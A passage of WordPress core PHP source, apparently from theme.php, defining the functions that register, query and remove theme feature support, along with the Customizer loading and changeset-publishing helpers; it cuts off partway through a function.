 * @since 6.3.0 The `border` feature allows themes without theme.json to add border styles to blocks.
 * @since 6.5.0 The `appearance-tools` feature enables a few design tools for blocks,
 *              see `WP_Theme_JSON::APPEARANCE_TOOLS_OPT_INS` for a complete list.
 *
 * @global array $_wp_theme_features
 *
 * @param string $feature The feature being added. Likely core values include:
 *                          - 'admin-bar'
 *                          - 'align-wide'
 *                          - 'appearance-tools'
 *                          - 'automatic-feed-links'
 *                          - 'block-templates'
 *                          - 'block-template-parts'
 *                          - 'border'
 *                          - 'core-block-patterns'
 *                          - 'custom-background'
 *                          - 'custom-header'
 *                          - 'custom-line-height'
 *                          - 'custom-logo'
 *                          - 'customize-selective-refresh-widgets'
 *                          - 'custom-spacing'
 *                          - 'custom-units'
 *                          - 'dark-editor-style'
 *                          - 'disable-custom-colors'
 *                          - 'disable-custom-font-sizes'
 *                          - 'disable-custom-gradients'
 *                          - 'disable-layout-styles'
 *                          - 'editor-color-palette'
 *                          - 'editor-gradient-presets'
 *                          - 'editor-font-sizes'
 *                          - 'editor-styles'
 *                          - 'featured-content'
 *                          - 'html5'
 *                          - 'link-color'
 *                          - 'menus'
 *                          - 'post-formats'
 *                          - 'post-thumbnails'
 *                          - 'responsive-embeds'
 *                          - 'starter-content'
 *                          - 'title-tag'
 *                          - 'widgets'
 *                          - 'widgets-block-editor'
 *                          - 'wp-block-styles'
 * @param mixed  ...$args Optional extra arguments to pass along with certain features.
 * @return void|false Void on success, false on failure.
 */
function add_theme_support( $feature, ...$args ) {
	global $_wp_theme_features;

	if ( ! $args ) {
		$args = true;
	}

	switch ( $feature ) {
		case 'post-thumbnails':
			// All post types are already supported.
			if ( true === get_theme_support( 'post-thumbnails' ) ) {
				return;
			}

			/*
			 * Merge post types with any that already declared their support
			 * for post thumbnails.
			 */
			if ( isset( $args[0] ) && is_array( $args[0] ) && isset( $_wp_theme_features['post-thumbnails'] ) ) {
				$args[0] = array_unique( array_merge( $_wp_theme_features['post-thumbnails'][0], $args[0] ) );
			}

			break;

		case 'post-formats':
			if ( isset( $args[0] ) && is_array( $args[0] ) ) {
				$post_formats = get_post_format_slugs();
				unset( $post_formats['standard'] );

				$args[0] = array_intersect( $args[0], array_keys( $post_formats ) );
			} else {
				_doing_it_wrong(
					"add_theme_support( 'post-formats' )",
					__( 'You need to pass an array of post formats.' ),
					'5.6.0'
				);
				return false;
			}
			break;

		case 'html5':
			// You can't just pass 'html5', you need to pass an array of types.
			if ( empty( $args[0] ) || ! is_array( $args[0] ) ) {
				_doing_it_wrong(
					"add_theme_support( 'html5' )",
					__( 'You need to pass an array of types.' ),
					'3.6.1'
				);

				if ( ! empty( $args[0] ) && ! is_array( $args[0] ) ) {
					return false;
				}

				// Build an array of types for back-compat.
				$args = array( 0 => array( 'comment-list', 'comment-form', 'search-form' ) );
			}

			// Calling 'html5' again merges, rather than overwrites.
			if ( isset( $_wp_theme_features['html5'] ) ) {
				$args[0] = array_merge( $_wp_theme_features['html5'][0], $args[0] );
			}
			break;

		case 'custom-logo':
			if ( true === $args ) {
				$args = array( 0 => array() );
			}
			$defaults = array(
				'width'                => null,
				'height'               => null,
				'flex-width'           => false,
				'flex-height'          => false,
				'header-text'          => '',
				'unlink-homepage-logo' => false,
			);
			$args[0]  = wp_parse_args( array_intersect_key( $args[0], $defaults ), $defaults );

			// Allow full flexibility if no size is specified.
			if ( is_null( $args[0]['width'] ) && is_null( $args[0]['height'] ) ) {
				$args[0]['flex-width']  = true;
				$args[0]['flex-height'] = true;
			}
			break;

		case 'custom-header-uploads':
			return add_theme_support( 'custom-header', array( 'uploads' => true ) );

		case 'custom-header':
			if ( true === $args ) {
				$args = array( 0 => array() );
			}

			$defaults = array(
				'default-image'          => '',
				'random-default'         => false,
				'width'                  => 0,
				'height'                 => 0,
				'flex-height'            => false,
				'flex-width'             => false,
				'default-text-color'     => '',
				'header-text'            => true,
				'uploads'                => true,
				'wp-head-callback'       => '',
				'admin-head-callback'    => '',
				'admin-preview-callback' => '',
				'video'                  => false,
				'video-active-callback'  => 'is_front_page',
			);

			$jit = isset( $args[0]['__jit'] );
			unset( $args[0]['__jit'] );

			/*
			 * Merge in data from previous add_theme_support() calls.
			 * The first value registered wins. (A child theme is set up first.)
			 */
			if ( isset( $_wp_theme_features['custom-header'] ) ) {
				$args[0] = wp_parse_args( $_wp_theme_features['custom-header'][0], $args[0] );
			}

			/*
			 * Load in the defaults at the end, as we need to insure first one wins.
			 * This will cause all constants to be defined, as each arg will then be set to the default.
			 */
			if ( $jit ) {
				$args[0] = wp_parse_args( $args[0], $defaults );
			}

			/*
			 * If a constant was defined, use that value. Otherwise, define the constant to ensure
			 * the constant is always accurate (and is not defined later,  overriding our value).
			 * As stated above, the first value wins.
			 * Once we get to wp_loaded (just-in-time), define any constants we haven't already.
			 * Constants should be avoided. Don't reference them. This is just for backward compatibility.
			 */

			if ( defined( 'NO_HEADER_TEXT' ) ) {
				$args[0]['header-text'] = ! NO_HEADER_TEXT;
			} elseif ( isset( $args[0]['header-text'] ) ) {
				define( 'NO_HEADER_TEXT', empty( $args[0]['header-text'] ) );
			}

			if ( defined( 'HEADER_IMAGE_WIDTH' ) ) {
				$args[0]['width'] = (int) HEADER_IMAGE_WIDTH;
			} elseif ( isset( $args[0]['width'] ) ) {
				define( 'HEADER_IMAGE_WIDTH', (int) $args[0]['width'] );
			}

			if ( defined( 'HEADER_IMAGE_HEIGHT' ) ) {
				$args[0]['height'] = (int) HEADER_IMAGE_HEIGHT;
			} elseif ( isset( $args[0]['height'] ) ) {
				define( 'HEADER_IMAGE_HEIGHT', (int) $args[0]['height'] );
			}

			if ( defined( 'HEADER_TEXTCOLOR' ) ) {
				$args[0]['default-text-color'] = HEADER_TEXTCOLOR;
			} elseif ( isset( $args[0]['default-text-color'] ) ) {
				define( 'HEADER_TEXTCOLOR', $args[0]['default-text-color'] );
			}

			if ( defined( 'HEADER_IMAGE' ) ) {
				$args[0]['default-image'] = HEADER_IMAGE;
			} elseif ( isset( $args[0]['default-image'] ) ) {
				define( 'HEADER_IMAGE', $args[0]['default-image'] );
			}

			if ( $jit && ! empty( $args[0]['default-image'] ) ) {
				$args[0]['random-default'] = false;
			}

			/*
			 * If headers are supported, and we still don't have a defined width or height,
			 * we have implicit flex sizes.
			 */
			if ( $jit ) {
				if ( empty( $args[0]['width'] ) && empty( $args[0]['flex-width'] ) ) {
					$args[0]['flex-width'] = true;
				}
				if ( empty( $args[0]['height'] ) && empty( $args[0]['flex-height'] ) ) {
					$args[0]['flex-height'] = true;
				}
			}

			break;

		case 'custom-background':
			if ( true === $args ) {
				$args = array( 0 => array() );
			}

			$defaults = array(
				'default-image'          => '',
				'default-preset'         => 'default',
				'default-position-x'     => 'left',
				'default-position-y'     => 'top',
				'default-size'           => 'auto',
				'default-repeat'         => 'repeat',
				'default-attachment'     => 'scroll',
				'default-color'          => '',
				'wp-head-callback'       => '_custom_background_cb',
				'admin-head-callback'    => '',
				'admin-preview-callback' => '',
			);

			$jit = isset( $args[0]['__jit'] );
			unset( $args[0]['__jit'] );

			// Merge in data from previous add_theme_support() calls. The first value registered wins.
			if ( isset( $_wp_theme_features['custom-background'] ) ) {
				$args[0] = wp_parse_args( $_wp_theme_features['custom-background'][0], $args[0] );
			}

			if ( $jit ) {
				$args[0] = wp_parse_args( $args[0], $defaults );
			}

			if ( defined( 'BACKGROUND_COLOR' ) ) {
				$args[0]['default-color'] = BACKGROUND_COLOR;
			} elseif ( isset( $args[0]['default-color'] ) || $jit ) {
				define( 'BACKGROUND_COLOR', $args[0]['default-color'] );
			}

			if ( defined( 'BACKGROUND_IMAGE' ) ) {
				$args[0]['default-image'] = BACKGROUND_IMAGE;
			} elseif ( isset( $args[0]['default-image'] ) || $jit ) {
				define( 'BACKGROUND_IMAGE', $args[0]['default-image'] );
			}

			break;

		// Ensure that 'title-tag' is accessible in the admin.
		case 'title-tag':
			// Can be called in functions.php but must happen before wp_loaded, i.e. not in header.php.
			if ( did_action( 'wp_loaded' ) ) {
				_doing_it_wrong(
					"add_theme_support( 'title-tag' )",
					sprintf(
						/* translators: 1: title-tag, 2: wp_loaded */
						__( 'Theme support for %1$s should be registered before the %2$s hook.' ),
						'<code>title-tag</code>',
						'<code>wp_loaded</code>'
					),
					'4.1.0'
				);

				return false;
			}
	}

	$_wp_theme_features[ $feature ] = $args;
}

/**
 * Registers the internal custom header and background routines.
 *
 * @since 3.4.0
 * @access private
 *
 * @global Custom_Image_Header $custom_image_header
 * @global Custom_Background   $custom_background
 */
function _custom_header_background_just_in_time() {
	global $custom_image_header, $custom_background;

	if ( current_theme_supports( 'custom-header' ) ) {
		// In case any constants were defined after an add_custom_image_header() call, re-run.
		add_theme_support( 'custom-header', array( '__jit' => true ) );

		$args = get_theme_support( 'custom-header' );
		if ( $args[0]['wp-head-callback'] ) {
			add_action( 'wp_head', $args[0]['wp-head-callback'] );
		}

		if ( is_admin() ) {
			require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php';
			$custom_image_header = new Custom_Image_Header( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] );
		}
	}

	if ( current_theme_supports( 'custom-background' ) ) {
		// In case any constants were defined after an add_custom_background() call, re-run.
		add_theme_support( 'custom-background', array( '__jit' => true ) );

		$args = get_theme_support( 'custom-background' );
		add_action( 'wp_head', $args[0]['wp-head-callback'] );

		if ( is_admin() ) {
			require_once ABSPATH . 'wp-admin/includes/class-custom-background.php';
			$custom_background = new Custom_Background( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] );
		}
	}
}

/**
 * Adds CSS to hide header text for custom logo, based on Customizer setting.
 *
 * @since 4.5.0
 * @access private
 */
function _custom_logo_header_styles() {
	if ( ! current_theme_supports( 'custom-header', 'header-text' )
		&& get_theme_support( 'custom-logo', 'header-text' )
		&& ! get_theme_mod( 'header_text', true )
	) {
		$classes = (array) get_theme_support( 'custom-logo', 'header-text' );
		$classes = array_map( 'sanitize_html_class', $classes );
		$classes = '.' . implode( ', .', $classes );

		$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
		?>
		<!-- Custom Logo: hide header text -->
		<style id="custom-logo-css"<?php echo $type_attr; ?>>
			<?php echo $classes; ?> {
				position: absolute;
				clip: rect(1px, 1px, 1px, 1px);
			}
		</style>
		<?php
	}
}

/**
 * Gets the theme support arguments passed when registering that support.
 *
 * Example usage:
 *
 *     get_theme_support( 'custom-logo' );
 *     get_theme_support( 'custom-header', 'width' );
 *
 * @since 3.1.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @global array $_wp_theme_features
 *
 * @param string $feature The feature to check. See add_theme_support() for the list
 *                        of possible values.
 * @param mixed  ...$args Optional extra arguments to be checked against certain features.
 * @return mixed The array of extra arguments or the value for the registered feature.
 */
function get_theme_support( $feature, ...$args ) {
	global $_wp_theme_features;

	if ( ! isset( $_wp_theme_features[ $feature ] ) ) {
		return false;
	}

	if ( ! $args ) {
		return $_wp_theme_features[ $feature ];
	}

	switch ( $feature ) {
		case 'custom-logo':
		case 'custom-header':
		case 'custom-background':
			if ( isset( $_wp_theme_features[ $feature ][0][ $args[0] ] ) ) {
				return $_wp_theme_features[ $feature ][0][ $args[0] ];
			}
			return false;

		default:
			return $_wp_theme_features[ $feature ];
	}
}

/**
 * Allows a theme to de-register its support of a certain feature
 *
 * Should be called in the theme's functions.php file. Generally would
 * be used for child themes to override support from the parent theme.
 *
 * @since 3.0.0
 *
 * @see add_theme_support()
 *
 * @param string $feature The feature being removed. See add_theme_support() for the list
 *                        of possible values.
 * @return bool|void Whether feature was removed.
 */
function remove_theme_support( $feature ) {
	// Do not remove internal registrations that are not used directly by themes.
	if ( in_array( $feature, array( 'editor-style', 'widgets', 'menus' ), true ) ) {
		return false;
	}

	return _remove_theme_support( $feature );
}

/**
 * Do not use. Removes theme support internally without knowledge of those not used
 * by themes directly.
 *
 * @access private
 * @since 3.1.0
 * @global array               $_wp_theme_features
 * @global Custom_Image_Header $custom_image_header
 * @global Custom_Background   $custom_background
 *
 * @param string $feature The feature being removed. See add_theme_support() for the list
 *                        of possible values.
 * @return bool True if support was removed, false if the feature was not registered.
 */
function _remove_theme_support( $feature ) {
	global $_wp_theme_features;

	switch ( $feature ) {
		case 'custom-header-uploads':
			if ( ! isset( $_wp_theme_features['custom-header'] ) ) {
				return false;
			}
			add_theme_support( 'custom-header', array( 'uploads' => false ) );
			return; // Do not continue - custom-header-uploads no longer exists.
	}

	if ( ! isset( $_wp_theme_features[ $feature ] ) ) {
		return false;
	}

	switch ( $feature ) {
		case 'custom-header':
			if ( ! did_action( 'wp_loaded' ) ) {
				break;
			}
			$support = get_theme_support( 'custom-header' );
			if ( isset( $support[0]['wp-head-callback'] ) ) {
				remove_action( 'wp_head', $support[0]['wp-head-callback'] );
			}
			if ( isset( $GLOBALS['custom_image_header'] ) ) {
				remove_action( 'admin_menu', array( $GLOBALS['custom_image_header'], 'init' ) );
				unset( $GLOBALS['custom_image_header'] );
			}
			break;

		case 'custom-background':
			if ( ! did_action( 'wp_loaded' ) ) {
				break;
			}
			$support = get_theme_support( 'custom-background' );
			if ( isset( $support[0]['wp-head-callback'] ) ) {
				remove_action( 'wp_head', $support[0]['wp-head-callback'] );
			}
			remove_action( 'admin_menu', array( $GLOBALS['custom_background'], 'init' ) );
			unset( $GLOBALS['custom_background'] );
			break;
	}

	unset( $_wp_theme_features[ $feature ] );

	return true;
}

/**
 * Checks a theme's support for a given feature.
 *
 * Example usage:
 *
 *     current_theme_supports( 'custom-logo' );
 *     current_theme_supports( 'html5', 'comment-form' );
 *
 * @since 2.9.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @global array $_wp_theme_features
 *
 * @param string $feature The feature being checked. See add_theme_support() for the list
 *                        of possible values.
 * @param mixed  ...$args Optional extra arguments to be checked against certain features.
 * @return bool True if the active theme supports the feature, false otherwise.
 */
function current_theme_supports( $feature, ...$args ) {
	global $_wp_theme_features;

	if ( 'custom-header-uploads' === $feature ) {
		return current_theme_supports( 'custom-header', 'uploads' );
	}

	if ( ! isset( $_wp_theme_features[ $feature ] ) ) {
		return false;
	}

	// If no args passed then no extra checks need to be performed.
	if ( ! $args ) {
		/** This filter is documented in wp-includes/theme.php */
		return apply_filters( "current_theme_supports-{$feature}", true, $args, $_wp_theme_features[ $feature ] ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}

	switch ( $feature ) {
		case 'post-thumbnails':
			/*
			 * post-thumbnails can be registered for only certain content/post types
			 * by passing an array of types to add_theme_support().
			 * If no array was passed, then any type is accepted.
			 */
			if ( true === $_wp_theme_features[ $feature ] ) {  // Registered for all types.
				return true;
			}
			$content_type = $args[0];
			return in_array( $content_type, $_wp_theme_features[ $feature ][0], true );

		case 'html5':
		case 'post-formats':
			/*
			 * Specific post formats can be registered by passing an array of types
			 * to add_theme_support().
			 *
			 * Specific areas of HTML5 support *must* be passed via an array to add_theme_support().
			 */
			$type = $args[0];
			return in_array( $type, $_wp_theme_features[ $feature ][0], true );

		case 'custom-logo':
		case 'custom-header':
		case 'custom-background':
			// Specific capabilities can be registered by passing an array to add_theme_support().
			return ( isset( $_wp_theme_features[ $feature ][0][ $args[0] ] ) && $_wp_theme_features[ $feature ][0][ $args[0] ] );
	}

	/**
	 * Filters whether the active theme supports a specific feature.
	 *
	 * The dynamic portion of the hook name, `$feature`, refers to the specific
	 * theme feature. See add_theme_support() for the list of possible values.
	 *
	 * @since 3.4.0
	 *
	 * @param bool   $supports Whether the active theme supports the given feature. Default true.
	 * @param array  $args     Array of arguments for the feature.
	 * @param string $feature  The theme feature.
	 */
	return apply_filters( "current_theme_supports-{$feature}", true, $args, $_wp_theme_features[ $feature ] ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Checks a theme's support for a given feature before loading the functions which implement it.
 *
 * @since 2.9.0
 *
 * @param string $feature The feature being checked. See add_theme_support() for the list
 *                        of possible values.
 * @param string $file    Path to the file.
 * @return bool True if the active theme supports the supplied feature, false otherwise.
 */
function require_if_theme_supports( $feature, $file ) {
	if ( current_theme_supports( $feature ) ) {
		require $file;
		return true;
	}
	return false;
}

/**
 * Registers a theme feature for use in add_theme_support().
 *
 * This does not indicate that the active theme supports the feature, it only describes
 * the feature's supported options.
 *
 * @since 5.5.0
 *
 * @see add_theme_support()
 *
 * @global array $_wp_registered_theme_features
 *
 * @param string $feature The name uniquely identifying the feature. See add_theme_support()
 *                        for the list of possible values.
 * @param array  $args {
 *     Data used to describe the theme.
 *
 *     @type string     $type         The type of data associated with this feature.
 *                                    Valid values are 'string', 'boolean', 'integer',
 *                                    'number', 'array', and 'object'. Defaults to 'boolean'.
 *     @type bool       $variadic     Does this feature utilize the variadic support
 *                                    of add_theme_support(), or are all arguments specified
 *                                    as the second parameter. Must be used with the "array" type.
 *     @type string     $description  A short description of the feature. Included in
 *                                    the Themes REST API schema. Intended for developers.
 *     @type bool|array $show_in_rest {
 *         Whether this feature should be included in the Themes REST API endpoint.
 *         Defaults to not being included. When registering an 'array' or 'object' type,
 *         this argument must be an array with the 'schema' key.
 *
 *         @type array    $schema           Specifies the JSON Schema definition describing
 *                                          the feature. If any objects in the schema do not include
 *                                          the 'additionalProperties' keyword, it is set to false.
 *         @type string   $name             An alternate name to be used as the property name
 *                                          in the REST API.
 *         @type callable $prepare_callback A function used to format the theme support in the REST API.
 *                                          Receives the raw theme support value.
 *      }
 * }
 * @return true|WP_Error True if the theme feature was successfully registered, a WP_Error object if not.
 */
function register_theme_feature( $feature, $args = array() ) {
	global $_wp_registered_theme_features;

	if ( ! is_array( $_wp_registered_theme_features ) ) {
		$_wp_registered_theme_features = array();
	}

	$defaults = array(
		'type'         => 'boolean',
		'variadic'     => false,
		'description'  => '',
		'show_in_rest' => false,
	);

	$args = wp_parse_args( $args, $defaults );

	if ( true === $args['show_in_rest'] ) {
		$args['show_in_rest'] = array();
	}

	if ( is_array( $args['show_in_rest'] ) ) {
		$args['show_in_rest'] = wp_parse_args(
			$args['show_in_rest'],
			array(
				'schema'           => array(),
				'name'             => $feature,
				'prepare_callback' => null,
			)
		);
	}

	if ( ! in_array( $args['type'], array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) {
		return new WP_Error(
			'invalid_type',
			__( 'The feature "type" is not valid JSON Schema type.' )
		);
	}

	if ( true === $args['variadic'] && 'array' !== $args['type'] ) {
		return new WP_Error(
			'variadic_must_be_array',
			__( 'When registering a "variadic" theme feature, the "type" must be an "array".' )
		);
	}

	if ( false !== $args['show_in_rest'] && in_array( $args['type'], array( 'array', 'object' ), true ) ) {
		if ( ! is_array( $args['show_in_rest'] ) || empty( $args['show_in_rest']['schema'] ) ) {
			return new WP_Error(
				'missing_schema',
				__( 'When registering an "array" or "object" feature to show in the REST API, the feature\'s schema must also be defined.' )
			);
		}

		if ( 'array' === $args['type'] && ! isset( $args['show_in_rest']['schema']['items'] ) ) {
			return new WP_Error(
				'missing_schema_items',
				__( 'When registering an "array" feature, the feature\'s schema must include the "items" keyword.' )
			);
		}

		if ( 'object' === $args['type'] && ! isset( $args['show_in_rest']['schema']['properties'] ) ) {
			return new WP_Error(
				'missing_schema_properties',
				__( 'When registering an "object" feature, the feature\'s schema must include the "properties" keyword.' )
			);
		}
	}

	if ( is_array( $args['show_in_rest'] ) ) {
		if ( isset( $args['show_in_rest']['prepare_callback'] )
			&& ! is_callable( $args['show_in_rest']['prepare_callback'] )
		) {
			return new WP_Error(
				'invalid_rest_prepare_callback',
				sprintf(
					/* translators: %s: prepare_callback */
					__( 'The "%s" must be a callable function.' ),
					'prepare_callback'
				)
			);
		}

		$args['show_in_rest']['schema'] = wp_parse_args(
			$args['show_in_rest']['schema'],
			array(
				'description' => $args['description'],
				'type'        => $args['type'],
				'default'     => false,
			)
		);

		if ( is_bool( $args['show_in_rest']['schema']['default'] )
			&& ! in_array( 'boolean', (array) $args['show_in_rest']['schema']['type'], true )
		) {
			// Automatically include the "boolean" type when the default value is a boolean.
			$args['show_in_rest']['schema']['type'] = (array) $args['show_in_rest']['schema']['type'];
			array_unshift( $args['show_in_rest']['schema']['type'], 'boolean' );
		}

		$args['show_in_rest']['schema'] = rest_default_additional_properties_to_false( $args['show_in_rest']['schema'] );
	}

	$_wp_registered_theme_features[ $feature ] = $args;

	return true;
}

/**
 * Gets the list of registered theme features.
 *
 * @since 5.5.0
 *
 * @global array $_wp_registered_theme_features
 *
 * @return array[] List of theme features, keyed by their name.
 */
function get_registered_theme_features() {
	global $_wp_registered_theme_features;

	if ( ! is_array( $_wp_registered_theme_features ) ) {
		return array();
	}

	return $_wp_registered_theme_features;
}

/**
 * Gets the registration config for a theme feature.
 *
 * @since 5.5.0
 *
 * @global array $_wp_registered_theme_features
 *
 * @param string $feature The feature name. See add_theme_support() for the list
 *                        of possible values.
 * @return array|null The registration args, or null if the feature was not registered.
 */
function get_registered_theme_feature( $feature ) {
	global $_wp_registered_theme_features;

	if ( ! is_array( $_wp_registered_theme_features ) ) {
		return null;
	}

	return isset( $_wp_registered_theme_features[ $feature ] ) ? $_wp_registered_theme_features[ $feature ] : null;
}

/**
 * Checks an attachment being deleted to see if it's a header or background image.
 *
 * If true it removes the theme modification which would be pointing at the deleted
 * attachment.
 *
 * @access private
 * @since 3.0.0
 * @since 4.3.0 Also removes `header_image_data`.
 * @since 4.5.0 Also removes custom logo theme mods.
 *
 * @param int $id The attachment ID.
 */
function _delete_attachment_theme_mod( $id ) {
	$attachment_image = wp_get_attachment_url( $id );
	$header_image     = get_header_image();
	$background_image = get_background_image();
	$custom_logo_id   = get_theme_mod( 'custom_logo' );

	if ( $custom_logo_id && $custom_logo_id == $id ) {
		remove_theme_mod( 'custom_logo' );
		remove_theme_mod( 'header_text' );
	}

	if ( $header_image && $header_image == $attachment_image ) {
		remove_theme_mod( 'header_image' );
		remove_theme_mod( 'header_image_data' );
	}

	if ( $background_image && $background_image == $attachment_image ) {
		remove_theme_mod( 'background_image' );
	}
}

/**
 * Checks if a theme has been changed and runs 'after_switch_theme' hook on the next WP load.
 *
 * See {@see 'after_switch_theme'}.
 *
 * @since 3.3.0
 */
function check_theme_switched() {
	$stylesheet = get_option( 'theme_switched' );

	if ( $stylesheet ) {
		$old_theme = wp_get_theme( $stylesheet );

		// Prevent widget & menu mapping from running since Customizer already called it up front.
		if ( get_option( 'theme_switched_via_customizer' ) ) {
			remove_action( 'after_switch_theme', '_wp_menus_changed' );
			remove_action( 'after_switch_theme', '_wp_sidebars_changed' );
			update_option( 'theme_switched_via_customizer', false );
		}

		if ( $old_theme->exists() ) {
			/**
			 * Fires on the next WP load after the theme has been switched.
			 *
			 * The parameters differ according to whether the old theme exists or not.
			 * If the old theme is missing, the old name will instead be the slug
			 * of the old theme.
			 *
			 * See {@see 'switch_theme'}.
			 *
			 * @since 3.3.0
			 *
			 * @param string   $old_name  Old theme name.
			 * @param WP_Theme $old_theme WP_Theme instance of the old theme.
			 */
			do_action( 'after_switch_theme', $old_theme->get( 'Name' ), $old_theme );
		} else {
			/** This action is documented in wp-includes/theme.php */
			do_action( 'after_switch_theme', $stylesheet, $old_theme );
		}

		flush_rewrite_rules();

		update_option( 'theme_switched', false );
	}
}

/**
 * Includes and instantiates the WP_Customize_Manager class.
 *
 * Loads the Customizer at plugins_loaded when accessing the customize.php admin
 * page or when any request includes a wp_customize=on param or a customize_changeset
 * param (a UUID). This param is a signal for whether to bootstrap the Customizer when
 * WordPress is loading, especially in the Customizer preview
 * or when making Customizer Ajax requests for widgets or menus.
 *
 * @since 3.4.0
 *
 * @global WP_Customize_Manager $wp_customize
 */
function _wp_customize_include() {

	$is_customize_admin_page = ( is_admin() && 'customize.php' === basename( $_SERVER['PHP_SELF'] ) );
	$should_include          = (
		$is_customize_admin_page
		||
		( isset( $_REQUEST['wp_customize'] ) && 'on' === $_REQUEST['wp_customize'] )
		||
		( ! empty( $_GET['customize_changeset_uuid'] ) || ! empty( $_POST['customize_changeset_uuid'] ) )
	);

	if ( ! $should_include ) {
		return;
	}

	/*
	 * Note that wp_unslash() is not being used on the input vars because it is
	 * called before wp_magic_quotes() gets called. Besides this fact, none of
	 * the values should contain any characters needing slashes anyway.
	 */
	$keys       = array(
		'changeset_uuid',
		'customize_changeset_uuid',
		'customize_theme',
		'theme',
		'customize_messenger_channel',
		'customize_autosaved',
	);
	$input_vars = array_merge(
		wp_array_slice_assoc( $_GET, $keys ),
		wp_array_slice_assoc( $_POST, $keys )
	);

	$theme             = null;
	$autosaved         = null;
	$messenger_channel = null;

	/*
	 * Value false indicates UUID should be determined after_setup_theme
	 * to either re-use existing saved changeset or else generate a new UUID if none exists.
	 */
	$changeset_uuid = false;

	/*
	 * Set initially fo false since defaults to true for back-compat;
	 * can be overridden via the customize_changeset_branching filter.
	 */
	$branching = false;

	if ( $is_customize_admin_page && isset( $input_vars['changeset_uuid'] ) ) {
		$changeset_uuid = sanitize_key( $input_vars['changeset_uuid'] );
	} elseif ( ! empty( $input_vars['customize_changeset_uuid'] ) ) {
		$changeset_uuid = sanitize_key( $input_vars['customize_changeset_uuid'] );
	}

	// Note that theme will be sanitized via WP_Theme.
	if ( $is_customize_admin_page && isset( $input_vars['theme'] ) ) {
		$theme = $input_vars['theme'];
	} elseif ( isset( $input_vars['customize_theme'] ) ) {
		$theme = $input_vars['customize_theme'];
	}

	if ( ! empty( $input_vars['customize_autosaved'] ) ) {
		$autosaved = true;
	}

	if ( isset( $input_vars['customize_messenger_channel'] ) ) {
		$messenger_channel = sanitize_key( $input_vars['customize_messenger_channel'] );
	}

	/*
	 * Note that settings must be previewed even outside the customizer preview
	 * and also in the customizer pane itself. This is to enable loading an existing
	 * changeset into the customizer. Previewing the settings only has to be prevented
	 * here in the case of a customize_save action because this will cause WP to think
	 * there is nothing changed that needs to be saved.
	 */
	$is_customize_save_action = (
		wp_doing_ajax()
		&&
		isset( $_REQUEST['action'] )
		&&
		'customize_save' === wp_unslash( $_REQUEST['action'] )
	);
	$settings_previewed       = ! $is_customize_save_action;

	require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
	$GLOBALS['wp_customize'] = new WP_Customize_Manager(
		compact(
			'changeset_uuid',
			'theme',
			'messenger_channel',
			'settings_previewed',
			'autosaved',
			'branching'
		)
	);
}

/**
 * Publishes a snapshot's changes.
 *
 * @since 4.7.0
 * @access private
 *
 * @global WP_Customize_Manager $wp_customize Customizer instance.
 *
 * @param string  $new_status     New post status.
 * @param string  $old_status     Old post status.
 * @param WP_Post $changeset_post Changeset post object.
 */
function _wp_customize_publish_changeset( $new_status, $old_status, $changeset_post ) {
	global $wp_customize;

	$is_publishing_changeset = (
		'customize_changeset' === $changeset_post->post_type
		&&
		'publish' === $new_status
		&&
		'publish' !== $old_status
	);
	if ( ! $is_publishing_changeset ) {
		return;
	}

	if ( empty( $wp_customize ) ) {
		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
		$wp_customize = new WP_Customize_Manager(
			array(
				'changeset_uuid'     => $changeset_post->post_name,
				'settings_previewed' => false,
			)
		);
	}

	if ( ! did_action( 'customize_register' ) ) {
		/*
		 * When running from CLI or Cron, the customize_register action will need
		 * to be triggered in order for core, themes, and plugins to register their
		 * settings. Normally core will add_action( 'customize_register' ) at
		 * priority 10 to register the core settings, and if any themes/plugins
		 * also add_action( 'customize_register' ) at the same priority, they
		 * will have a $wp_customize with those settings registered since they
		 * call add_action() afterward, normally. However, when manually doing
		 * the customize_register action after the setup_theme, then the order
		 * will be reversed for two actions added at priority 10, resulting in
		 * the core settings no longer being available as expected to themes/plugins.
		 * So the following manually calls the method that registers the core
		 * settings up front before doing the action.
		 */
		remove_action( 'customize_register', array( $wp_customize, 'register_controls' ) );
		$wp_customize->register_controls();

		/** This filter is documented in wp-includes/class-wp-customize-manager.php */
		do_action( 'customize_register', $wp_customize );
	}
	$wp_customize->_publish_changeset_values( $changeset_post->ID );

	/*
	 * Trash the changeset post if revisions are not enabled. Unpublished
	 * changesets by default get garbage collected due to the auto-draft status.
	 * When a changeset post is published, however, it would no longer get cleaned
	 * out. This is a problem when the changeset posts are never displayed anywhere,
	 * since they would just be endlessly piling up. So here we use the revisions
	 * feature to indicate whether or not a published changeset should get trashed
	 * and thus garbage collected.
	 */
	if ( ! wp_revisions_enabled( $changeset_post ) ) {
		$wp_customize->trash_changeset_post( $changeset_post->ID );
	}
}

/**
 * Filters changeset post data upon insert to ensure post_name is intact.
 *
 * This is needed to prevent the post_name from being dropped when the post is
 * transitioned into pending status by a contributor.
 *
 * @since 4.7.0
 *
 * @see wp_insert_post()
 *
 * @param array $post_data          An array of slashed post data.
 * @param array $supplied_post_data An array of sanitized, but otherwise unmodified post data.
 * @return array Filtered data.
 */
function _wp_customize_changeset_filter_insert_post_data( $post_data, $supplied_post_data ) {
	if ( isset( $post_data['post_type'] ) && 'customize_changeset' === $post_data['post_type'] ) {

		// Prevent post_name from being dropped, such as when contributor saves a changeset post as pending.
		if ( empty( $post_data['post_name'] ) && ! empty( $supplied_post_data['post_name'] ) ) {
			$post_data['post_name'] = $supplied_post_data['post_name'];
		}
	}
	return $post_data;
}

/**
 * Adds settings for the customize-loader script.
 *
 * @since 3.4.0
 */
function _wp_customize_loader_settings() {
	$admin_origin = parse_url( admin_url() );
	$home_origin  = parse_url( home_url() );
	$cross_domain = ( strtolower( $admin_origin['host'] ) !== strtolower( $home_origin['host'] ) );

	$browser = array(
		'mobile' => wp_is_mobile(),
		'ios'    => wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] ),
	);

